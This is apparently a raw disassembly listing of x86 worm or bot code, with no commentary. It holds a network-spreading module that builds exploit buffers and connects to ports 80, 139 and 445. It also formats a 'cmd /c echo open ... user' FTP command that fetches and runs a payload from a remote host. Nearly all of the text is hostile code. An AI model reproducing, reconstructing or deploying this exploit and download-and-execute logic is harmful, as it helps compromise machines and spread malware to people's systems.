sub_40CD9E+F0p ; sub_40CD9E+15Bp ... arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_41B9C0 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_40CCE2 pop esi retn 4 sub_40CD16 endp ; =============== S U B R O U T I N E ======================================= sub_40CD33 proc near ; CODE XREF: sub_40CD7F+Bp ; sub_40CD9E+1A1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_40CCE2 retn 8 sub_40CD33 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CD43 proc near ; CODE XREF: sub_40CD7F+16p ; sub_40CD9E+91p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call sub_40CBDC test al, al jz short loc_40CD7C push dword ptr [esi+4] lea ecx, [ebp+var_8] push dword ptr [esi] push 1 push offset dword_42CC80 call sub_40CB6E mov ecx, esi call sub_40CBC3 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_40CD7C: ; CODE XREF: sub_40CD43+Fj pop esi leave retn sub_40CD43 endp ; =============== S U B R O U T I N E ======================================= sub_40CD7F proc near ; CODE XREF: sub_40CD9E+134p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push [esp+4+arg_4] push [esp+8+arg_0] call sub_40CD33 test al, al jz short loc_40CD9A mov ecx, esi call sub_40CD43 loc_40CD9A: ; CODE XREF: sub_40CD7F+12j pop esi retn 8 sub_40CD7F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CD9E proc near ; CODE XREF: ___:0040D625p var_858 = byte ptr -858h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h push ebx push edi lea ecx, [ebp+var_48] call sub_40CB2A mov edi, 408h cmp [ebp+arg_8], edi jg loc_40D0F2 mov ebx, [ebp+arg_10] lea eax, [ebx+8] cmp eax, edi ja loc_40D0F2 push esi lea ecx, [ebp+var_30] call sub_40CB2A lea ecx, [ebp+var_20] call sub_40CB2A lea ecx, [ebp+var_50] call sub_40CB2A lea ecx, [ebp+var_18] call sub_40CB2A lea ecx, [ebp+var_40] call sub_40CB2A lea ecx, [ebp+var_38] call sub_40CB2A lea ecx, [ebp+var_28] call sub_40CB2A push 4 push offset dword_432030 lea ecx, [ebp+var_30] call sub_40CCE2 push 3 push offset dword_432038 lea ecx, [ebp+var_30] call sub_40CCE2 lea ecx, [ebp+var_30] call sub_40CC68 lea ecx, [ebp+var_30] call sub_40CD43 mov esi, 800h lea eax, [ebp+var_858] push esi push 42h push eax call sub_41BF70 add esp, 0Ch lea ecx, [ebp+var_20] push 8 push offset aRbrbrbrb ; "BBBB" call sub_40CCE2 push ebx lea ecx, [ebp+var_20] push [ebp+arg_C] call sub_40CCE2 mov eax, 409h lea ecx, [ebp+var_20] sub eax, [ebp+var_1C] push eax lea eax, [ebp+var_858] push eax call sub_40CCE2 lea ecx, [ebp+var_20] call sub_40CC68 push offset loc_4323B4 lea ecx, [ebp+var_50] call sub_40CD16 lea ecx, [ebp+var_50] call sub_40CC68 push esi lea eax, [ebp+var_858] push 44h push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_58] push 410h push eax call sub_40CB34 lea ecx, [ebp+var_58] call sub_40CC68 push [ebp+var_54] lea ecx, [ebp+var_50] push [ebp+var_58] call sub_40CD7F lea ecx, [ebp+var_58] call sub_40CBC3 push esi lea eax, [ebp+var_858] push 43h push eax call sub_41BF70 add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_18] call sub_40CD16 push 4 push offset dword_43203C lea ecx, [ebp+var_18] call sub_40CCE2 push [ebp+arg_8] lea ecx, [ebp+var_18] push [ebp+arg_4] call sub_40CCE2 sub edi, [ebp+arg_8] lea eax, [ebp+var_858] lea ecx, [ebp+var_18] push edi push eax call sub_40CCE2 lea ecx, [ebp+var_18] call sub_40CC68 push [ebp+var_14] lea ecx, [ebp+var_40] push [ebp+var_18] call sub_40CD33 push [ebp+var_4C] lea ecx, [ebp+var_40] push [ebp+var_50] call sub_40CD33 lea ecx, [ebp+var_40] call sub_40CD43 lea ecx, [ebp+var_18] call sub_40CBC3 lea ecx, [ebp+var_50] call sub_40CBC3 push [ebp+var_1C] lea ecx, [ebp+var_38] push [ebp+var_20] call sub_40CD33 push [ebp+var_2C] lea ecx, [ebp+var_38] push [ebp+var_30] call sub_40CD33 push [ebp+var_3C] lea ecx, [ebp+var_38] push [ebp+var_40] call sub_40CD33 lea ecx, [ebp+var_38] call sub_40CD43 lea ecx, [ebp+var_20] call sub_40CBC3 lea ecx, [ebp+var_30] call sub_40CBC3 lea ecx, [ebp+var_40] call sub_40CBC3 push esi lea eax, [ebp+var_858] push 41h push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_28] push 400h push eax call sub_40CCE2 lea ecx, [ebp+var_28] call sub_40CC68 push 2 push offset dword_4323A8 lea ecx, [ebp+var_28] call sub_40CCE2 push [ebp+var_34] lea ecx, [ebp+var_28] push [ebp+var_38] call sub_40CD33 lea ecx, [ebp+var_28] call sub_40CD43 lea ecx, [ebp+var_38] call sub_40CBC3 lea ecx, [ebp+var_10] call sub_40CB2A lea ecx, [ebp+var_8] call sub_40CB2A push [ebp+var_24] lea ecx, [ebp+var_10] push [ebp+var_28] call sub_40CD33 lea ecx, [ebp+var_10] call sub_40CBDC lea ecx, [ebp+var_28] call sub_40CBC3 push offset dword_4323A4 lea ecx, [ebp+var_8] call sub_40CD16 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40CD33 lea ecx, [ebp+var_8] call sub_40CBDC lea ecx, [ebp+var_10] call sub_40CBC3 push offset dword_4323A0 lea ecx, [ebp+var_10] call sub_40CD16 push [ebp+var_4] lea ecx, [ebp+var_10] push [ebp+var_8] call sub_40CD33 lea ecx, [ebp+var_10] call sub_40CBDC lea ecx, [ebp+var_8] call sub_40CBC3 push offset dword_432394 lea ecx, [ebp+var_8] call sub_40CD16 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40CD33 lea ecx, [ebp+var_8] call sub_40CBDC lea ecx, [ebp+var_10] call sub_40CBC3 push (offset loc_43238F+1) lea ecx, [ebp+var_48] call sub_40CD16 push [ebp+var_4] lea ecx, [ebp+var_48] push [ebp+var_8] call sub_40CD33 lea ecx, [ebp+var_8] call sub_40CBC3 mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] pop esi mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx jmp short loc_40D100 ; --------------------------------------------------------------------------- loc_40D0F2: ; CODE XREF: sub_40CD9E+1Bj ; sub_40CD9E+29j mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx loc_40D100: ; CODE XREF: sub_40CD9E+352j pop edi pop ebx leave retn sub_40CD9E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D104 proc near ; CODE XREF: sub_40D1C8+A1p ; sub_40D1C8+C2p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push esi push edi mov esi, [ebp+arg_0] push 1 pop edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_210] and [ebp+var_4], 0 push eax lea eax, [ebp+var_10C] push 0 push eax lea eax, [esi+1] push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah call near ptr 71AB1890h nop cmp eax, edi jnz short loc_40D16B lea eax, [ebp+var_10C] push eax push esi call sub_426350 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_40D16F loc_40D16B: ; CODE XREF: sub_40D104+54j xor eax, eax jmp short loc_40D17F ; --------------------------------------------------------------------------- loc_40D16F: ; CODE XREF: sub_40D104+65j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call dword_4CB9EC loc_40D17F: ; CODE XREF: sub_40D104+69j pop edi pop esi leave retn sub_40D104 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D183 proc near ; CODE XREF: sub_40D1C8+81p ; sub_40D1C8+ABp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call dword_4CB9D0 mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call dword_4CBA24 cmp eax, 4 jz short loc_40D1AD xor al, al leave retn ; --------------------------------------------------------------------------- loc_40D1AD: ; CODE XREF: sub_40D183+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_4CBA24 sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax leave retn sub_40D183 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D1C8 proc near ; CODE XREF: sub_40D2A2+48p ; ___:0040D716p var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+arg_8] lea ebx, [edi+41h] push ebx mov [ebp+var_4], ebx call sub_41BEB5 mov esi, eax pop ecx test esi, esi jnz short loc_40D1F1 xor al, al jmp loc_40D29D ; --------------------------------------------------------------------------- loc_40D1F1: ; CODE XREF: sub_40D1C8+20j push ebx push 0 push esi call sub_41BF70 push 2Fh push offset dword_4320CC push esi call sub_41CD20 push 8 lea eax, [esi+31h] push offset dword_4320FC push eax mov [esi+2Fh], di call sub_41CD20 push edi lea ebx, [esi+3Bh] push [ebp+arg_4] mov [esi+39h], di push ebx call sub_41CD20 push 6 add ebx, edi push offset dword_4CE6EC push ebx call sub_41CD20 mov ebx, [ebp+arg_0] push 85h push offset dword_432044 push ebx call sub_40D183 add esp, 48h test al, al jnz short loc_40D259 loc_40D255: ; CODE XREF: sub_40D1C8+B5j xor bl, bl jmp short loc_40D294 ; --------------------------------------------------------------------------- loc_40D259: ; CODE XREF: sub_40D1C8+8Bj mov edi, 100h push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40D104 push [ebp+var_4] push esi push ebx call sub_40D183 add esp, 1Ch test al, al jz short loc_40D255 push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40D104 add esp, 10h mov bl, 1 loc_40D294: ; CODE XREF: sub_40D1C8+8Fj push esi call sub_41BA91 pop ecx mov al, bl loc_40D29D: ; CODE XREF: sub_40D1C8+24j pop edi pop esi pop ebx leave retn sub_40D1C8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D2A2 proc near ; CODE XREF: ___:0040D6FCp var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_432108 push [ebp+arg_0] nop call near ptr 71AB1AF4h cmp eax, 48h jnz short loc_40D2DD push 0 lea eax, [ebp+var_20] push 20h push eax push [ebp+arg_0] call sub_40D104 add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_40D2DD cmp [ebp+var_20], 82h jz short loc_40D2E1 loc_40D2DD: ; CODE XREF: sub_40D2A2+1Bj ; sub_40D2A2+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_40D2E1: ; CODE XREF: sub_40D2A2+39j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40D1C8 add esp, 0Ch leave retn sub_40D2A2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D2F4 proc near ; CODE XREF: sub_40D340+2Dp var_10 = qword ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] and dword ptr [ebp+var_8+4], 0 shl eax, 3 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] fmul dbl_427670 call sub_41D174 and dword ptr [ebp+var_8+4], 0 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] push ecx push ecx ; double fst [ebp+var_8] fmul dbl_427668 fstp [esp+10h+var_10] call sub_41D055 fadd st, st pop ecx pop ecx fadd [ebp+var_8] call sub_41D174 inc eax leave retn sub_40D2F4 endp ; =============== S U B R O U T I N E ======================================= sub_40D340 proc near ; CODE XREF: sub_40D4E2+24p var_40 = qword ptr -40h mov eax, offset loc_426AA7 call sub_41D640 sub esp, 2Ch mov al, [ebp+13h] push ebx push esi push edi xor edi, edi lea ecx, [ebp-38h] push edi mov [ebp-20h], edi mov [ebp-38h], al call sub_40D977 push 1 pop ebx push dword ptr [ebp+10h] mov [ebp-4], ebx call sub_40D2F4 cmp [ebp-2Ch], eax pop ecx jnb short loc_40D382 push edi push eax lea ecx, [ebp-38h] call sub_40D8F2 loc_40D382: ; CODE XREF: sub_40D340+36j cmp [ebp+10h], edi mov [ebp-18h], edi jbe loc_40D49F mov ebx, [ebp+10h] loc_40D391: ; CODE XREF: sub_40D340+156j cmp dword ptr [ebp+10h], 3 jb short loc_40D39B push 3 jmp short loc_40D3AD ; --------------------------------------------------------------------------- loc_40D39B: ; CODE XREF: sub_40D340+55j cmp dword ptr [ebp+10h], 2 jnz short loc_40D3A5 push 2 jmp short loc_40D3AD ; --------------------------------------------------------------------------- loc_40D3A5: ; CODE XREF: sub_40D340+5Fj cmp dword ptr [ebp+10h], 1 jnz short loc_40D3AE push 1 loc_40D3AD: ; CODE XREF: sub_40D340+59j ; sub_40D340+63j pop ebx loc_40D3AE: ; CODE XREF: sub_40D340+69j mov [ebp-28h], ebx mov [ebp-24h], edi fild qword ptr [ebp-28h] push ecx push ecx ; double fmul dbl_427680 fstp [esp+40h+var_40] call sub_41D19B pop ecx pop ecx call sub_41D174 cmp ebx, edi mov [ebp-1Ch], eax jbe short loc_40D3ED mov esi, [ebp+0Ch] mov ecx, ebx mov edx, ecx lea edi, [ebp-10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb xor edi, edi loc_40D3ED: ; CODE XREF: sub_40D340+93j mov cl, [ebp-10h] mov dl, [ebp-10h] sar cl, 2 and cl, 3Fh and dl, 3 mov [ebp-14h], cl mov cl, [ebp-0Fh] sar cl, 4 and cl, 0Fh add [ebp+0Ch], ebx shl dl, 4 add cl, dl mov dl, [ebp-0Fh] mov [ebp-13h], cl mov cl, [ebp-0Eh] sar cl, 6 and dl, 0Fh sub [ebp+10h], ebx and cl, 3 xor esi, esi shl dl, 2 add cl, dl mov [ebp-12h], cl mov cl, [ebp-0Eh] and cl, 3Fh cmp eax, edi mov [ebp-11h], cl jbe short loc_40D45B add [ebp-18h], eax loc_40D43F: ; CODE XREF: sub_40D340+119j movsx eax, byte ptr [ebp+esi-14h] lea ecx, [ebp-38h] mov al, byte_432154[eax] push eax push 1 call sub_40D774 inc esi cmp esi, [ebp-1Ch] jb short loc_40D43F loc_40D45B: ; CODE XREF: sub_40D340+FAj cmp dword ptr [ebp-18h], 48h jb short loc_40D479 push dword ptr [ebp+14h] call sub_41B9C0 pop ecx push eax lea ecx, [ebp-38h] push dword ptr [ebp+14h] call sub_40D7CD mov [ebp-18h], edi loc_40D479: ; CODE XREF: sub_40D340+11Fj push 4 pop esi cmp [ebp-1Ch], esi jnb short loc_40D493 sub esi, [ebp-1Ch] loc_40D484: ; CODE XREF: sub_40D340+151j push 3Dh push 1 lea ecx, [ebp-38h] call sub_40D774 dec esi jnz short loc_40D484 loc_40D493: ; CODE XREF: sub_40D340+13Fj cmp [ebp+10h], edi ja loc_40D391 push 1 pop ebx loc_40D49F: ; CODE XREF: sub_40D340+48j mov esi, [ebp+8] mov al, [ebp-38h] push edi mov ecx, esi mov [esi], al call sub_40D977 push dword_427678 lea eax, [ebp-38h] mov ecx, esi push edi push eax call sub_40D824 mov [ebp-20h], ebx and byte ptr [ebp-4], 0 push ebx lea ecx, [ebp-38h] call sub_40D977 mov ecx, [ebp-0Ch] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn sub_40D340 endp ; =============== S U B R O U T I N E ======================================= sub_40D4E2 proc near ; CODE XREF: ___:0040D6DFp mov eax, offset loc_426AC4 call sub_41D640 sub esp, 10h push ebx push esi push edi push offset byte_43DB88 lea eax, [ebp-1Ch] push dword ptr [ebp+10h] xor ebx, ebx mov [ebp-4], ebx push dword ptr [ebp+0Ch] push eax call sub_40D340 mov eax, [ebp+1Ch] mov ecx, [ebp-14h] mov byte ptr [ebp-4], 1 lea esi, [ecx+eax+36h] push esi call sub_41BEB5 mov edi, eax add esp, 14h cmp edi, ebx jnz short loc_40D52C xor bl, bl jmp short loc_40D570 ; --------------------------------------------------------------------------- loc_40D52C: ; CODE XREF: sub_40D4E2+44j mov ecx, [ebp-18h] mov eax, offset dword_427688 cmp ecx, ebx jnz short loc_40D53A mov ecx, eax loc_40D53A: ; CODE XREF: sub_40D4E2+54j cmp [ebp+18h], ebx jz short loc_40D542 mov eax, [ebp+18h] loc_40D542: ; CODE XREF: sub_40D4E2+5Bj push ecx push eax push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"... push esi push edi call sub_41C360 add esp, 14h push ebx push esi push edi push dword ptr [ebp+8] call dword_4CBA24 cmp eax, esi jz short loc_40D567 xor bl, bl jmp short loc_40D569 ; --------------------------------------------------------------------------- loc_40D567: ; CODE XREF: sub_40D4E2+7Fj mov bl, 1 loc_40D569: ; CODE XREF: sub_40D4E2+83j push edi call sub_41BA91 pop ecx loc_40D570: ; CODE XREF: sub_40D4E2+48j and byte ptr [ebp-4], 0 push 1 lea ecx, [ebp-1Ch] call sub_40D977 or dword ptr [ebp-4], 0FFFFFFFFh push 1 lea ecx, [ebp+14h] call sub_40D977 mov ecx, [ebp-0Ch] pop edi mov al, bl pop esi pop ebx mov large fs:0, ecx leave retn sub_40D4E2 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 420h and byte ptr [ebp-420h], 0 push ebx push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [ebp-41Fh] push 8Fh rep stosd stosw stosb lea eax, [ebp-420h] push offset sub_432300 push eax call sub_41CD20 add esp, 0Ch mov eax, offset byte_429108 push eax push eax movzx eax, word ptr dword_4CB710 push eax push dword ptr [ebp+8] call sub_40AA06 pop ecx push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "... lea eax, [ebp-391h] push 400h push eax call sub_41C360 add eax, 90h push eax lea eax, [ebp-420h] push eax push 164h lea eax, [ebp-8] push offset sub_432198 push eax call sub_40CD9E xor esi, esi add esp, 30h cmp [ebp-4], esi jnz short loc_40D63B xor eax, eax jmp loc_40D767 ; --------------------------------------------------------------------------- loc_40D63B: ; CODE XREF: ___:0040D632j mov [ebp-0Ch], esi loc_40D63E: ; CODE XREF: ___:0040D73Ej test esi, esi jnz loc_40D744 push 6 push 1 push 2 call near ptr 71AB3C22h nop mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40D72C xor eax, eax lea edi, [ebp-1Ah] stosd push dword ptr [ebp+0A8h] stosd stosd stosw mov word ptr [ebp-1Ch], 2 call dword_4CB9D4 mov [ebp-1Ah], ax lea eax, [ebp+0Ch] push eax call dword_4CBA14 mov [ebp-18h], eax lea eax, [ebp-1Ch] push 10h push eax push ebx call dword_4CB97C cmp eax, 0FFFFFFFFh jz loc_40D721 cmp dword ptr [ebp+0A8h], 50h jnz short loc_40D6E9 mov al, [ebp+0C3h] sub esp, 10h mov esi, esp mov [ebp-20h], esp push 0 mov ecx, esi mov [esi], al call sub_40D977 lea eax, [ebp+0Ch] push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+0Ch] push eax mov ecx, esi call sub_40D9B3 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40D4E2 add esp, 1Ch jmp short loc_40D71E ; --------------------------------------------------------------------------- loc_40D6E9: ; CODE XREF: ___:0040D6A7j cmp dword ptr [ebp+0A8h], 8Bh jnz short loc_40D703 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40D2A2 jmp short loc_40D71B ; --------------------------------------------------------------------------- loc_40D703: ; CODE XREF: ___:0040D6F3j cmp dword ptr [ebp+0A8h], 1BDh jnz short loc_40D721 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40D1C8 loc_40D71B: ; CODE XREF: ___:0040D701j add esp, 0Ch loc_40D71E: ; CODE XREF: ___:0040D6E7j movzx esi, al loc_40D721: ; CODE XREF: ___:0040D69Aj ; ___:0040D70Dj push ebx call dword_4CBA6C test esi, esi jnz short loc_40D737 loc_40D72C: ; CODE XREF: ___:0040D657j push 3E8h nop call near ptr 2680000h loc_40D737: ; CODE XREF: ___:0040D72Aj inc dword ptr [ebp-0Ch] cmp dword ptr [ebp-0Ch], 2 jl loc_40D63E loc_40D744: ; CODE XREF: ___:0040D640j lea ecx, [ebp-8] call sub_40CBC3 test esi, esi jz short loc_40D765 mov eax, [ebp+0B0h] shl eax, 6 inc dword_431800[eax] lea eax, dword_431800[eax] loc_40D765: ; CODE XREF: ___:0040D74Ej mov eax, esi loc_40D767: ; CODE XREF: ___:0040D636j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A88 loc_40D76C: ; CODE XREF: sub_426A88+3j ; ___:00426AA1j ... push 1 call sub_40D977 retn ; END OF FUNCTION CHUNK FOR sub_426A88 ; =============== S U B R O U T I N E ======================================= sub_40D774 proc near ; CODE XREF: sub_40D340+110p ; sub_40D340+14Bp arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, dword_427678 push ebx mov ebx, [esp+4+arg_0] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40D78E call sub_42629A loc_40D78E: ; CODE XREF: sub_40D774+13j test ebx, ebx jbe short loc_40D7C5 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_40D8F2 test al, al jz short loc_40D7C5 movsx eax, [esp+0Ch+arg_4] push ebx push eax mov eax, [esi+4] add eax, [esi+8] push eax call sub_41BF70 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_40D7C5: ; CODE XREF: sub_40D774+1Cj ; sub_40D774+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40D774 endp ; =============== S U B R O U T I N E ======================================= sub_40D7CD proc near ; CODE XREF: sub_40D340+131p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, dword_427678 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40D7E7 call sub_42629A loc_40D7E7: ; CODE XREF: sub_40D7CD+13j test ebx, ebx jbe short loc_40D81C mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_40D8F2 test al, al jz short loc_40D81C mov eax, [esi+8] push ebx push [esp+10h+arg_0] add eax, [esi+4] push eax call sub_41CD20 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_40D81C: ; CODE XREF: sub_40D7CD+1Cj ; sub_40D7CD+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40D7CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D824 proc near ; CODE XREF: sub_40D340+17Cp ; sub_4261B0+15p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_0] push esi push edi mov edi, ecx cmp [ebx+8], eax jnb short loc_40D83C call sub_426173 loc_40D83C: ; CODE XREF: sub_40D824+11j mov eax, [ebx+8] mov ecx, [ebp+arg_4] mov esi, eax sub esi, ecx cmp [ebp+arg_8], esi jnb short loc_40D84E mov esi, [ebp+arg_8] loc_40D84E: ; CODE XREF: sub_40D824+25j cmp edi, ebx jnz short loc_40D870 push dword_427678 add esi, ecx mov ecx, edi push esi call sub_40D9E8 push [ebp+arg_4] mov ecx, edi push 0 call sub_40D9E8 jmp short loc_40D8E9 ; --------------------------------------------------------------------------- loc_40D870: ; CODE XREF: sub_40D824+2Cj test esi, esi jbe short loc_40D8B3 cmp esi, eax jnz short loc_40D8B3 mov eax, [ebx+4] test eax, eax jnz short loc_40D884 mov eax, offset dword_427688 loc_40D884: ; CODE XREF: sub_40D824+59j cmp byte ptr [eax-1], 0FEh jnb short loc_40D8B3 push 1 mov ecx, edi call sub_40D977 mov eax, [ebx+4] test eax, eax jnz short loc_40D89F mov eax, offset dword_427688 loc_40D89F: ; CODE XREF: sub_40D824+74j mov [edi+4], eax mov ecx, [ebx+8] mov [edi+8], ecx mov ecx, [ebx+0Ch] mov [edi+0Ch], ecx inc byte ptr [eax-1] jmp short loc_40D8E9 ; --------------------------------------------------------------------------- loc_40D8B3: ; CODE XREF: sub_40D824+4Ej ; sub_40D824+52j ... push 1 push esi mov ecx, edi call sub_40D8F2 test al, al jz short loc_40D8E9 mov eax, [ebx+4] test eax, eax jnz short loc_40D8CD mov eax, offset dword_427688 loc_40D8CD: ; CODE XREF: sub_40D824+A2j mov ecx, [ebp+arg_4] push esi add eax, ecx push eax push dword ptr [edi+4] call sub_41CD20 mov eax, [edi+4] add esp, 0Ch mov [edi+8], esi and byte ptr [eax+esi], 0 loc_40D8E9: ; CODE XREF: sub_40D824+4Aj ; sub_40D824+8Dj ... mov eax, edi pop edi pop esi pop ebx pop ebp retn 0Ch sub_40D824 endp ; =============== S U B R O U T I N E ======================================= sub_40D8F2 proc near ; CODE XREF: sub_40D340+3Dp ; sub_40D774+28p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx cmp edi, 0FFFFFFFDh jbe short loc_40D904 call sub_42629A loc_40D904: ; CODE XREF: sub_40D8F2+Bj mov ecx, [esi+4] xor edx, edx cmp ecx, edx jz short loc_40D92D mov al, [ecx-1] cmp al, dl jz short loc_40D92D cmp al, 0FFh jz short loc_40D92D cmp edi, edx jnz short loc_40D968 dec al push edx mov [ecx-1], al loc_40D922: ; CODE XREF: sub_40D8F2+47j mov ecx, esi call sub_40D977 loc_40D929: ; CODE XREF: sub_40D8F2+4Bj ; sub_40D8F2+52j xor al, al jmp short loc_40D972 ; --------------------------------------------------------------------------- loc_40D92D: ; CODE XREF: sub_40D8F2+19j ; sub_40D8F2+20j ... cmp edi, edx jnz short loc_40D946 cmp [esp+8+arg_4], dl jz short loc_40D93B push 1 jmp short loc_40D922 ; --------------------------------------------------------------------------- loc_40D93B: ; CODE XREF: sub_40D8F2+43j cmp ecx, edx jz short loc_40D929 mov [esi+8], edx mov [ecx], dl jmp short loc_40D929 ; --------------------------------------------------------------------------- loc_40D946: ; CODE XREF: sub_40D8F2+3Dj cmp [esp+8+arg_4], dl jz short loc_40D963 mov eax, [esi+0Ch] cmp eax, 1Fh ja short loc_40D958 cmp eax, edi jnb short loc_40D970 loc_40D958: ; CODE XREF: sub_40D8F2+60j push 1 mov ecx, esi call sub_40D977 jmp short loc_40D968 ; --------------------------------------------------------------------------- loc_40D963: ; CODE XREF: sub_40D8F2+58j cmp [esi+0Ch], edi jnb short loc_40D970 loc_40D968: ; CODE XREF: sub_40D8F2+28j ; sub_40D8F2+6Fj push edi mov ecx, esi call sub_40DA4F loc_40D970: ; CODE XREF: sub_40D8F2+64j ; sub_40D8F2+74j mov al, 1 loc_40D972: ; CODE XREF: sub_40D8F2+39j pop edi pop esi retn 8 sub_40D8F2 endp ; =============== S U B R O U T I N E ======================================= sub_40D977 proc near ; CODE XREF: sub_40D340+1Fp ; sub_40D340+16Ap ... arg_0 = byte ptr 4 cmp [esp+arg_0], 0 push esi mov esi, ecx jz short loc_40D9A3 mov eax, [esi+4] test eax, eax jz short loc_40D9A3 lea ecx, [eax-1] mov al, [eax-1] test al, al jz short loc_40D99C cmp al, 0FFh jz short loc_40D99C dec al mov [ecx], al jmp short loc_40D9A3 ; --------------------------------------------------------------------------- loc_40D99C: ; CODE XREF: sub_40D977+19j ; sub_40D977+1Dj push ecx call sub_41D65F pop ecx loc_40D9A3: ; CODE XREF: sub_40D977+8j ; sub_40D977+Fj ... and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 pop esi retn 4 sub_40D977 endp ; =============== S U B R O U T I N E ======================================= sub_40D9B3 proc near ; CODE XREF: ___:0040D6D3p ; sub_40DB0C+28p ... arg_0 = dword ptr 4 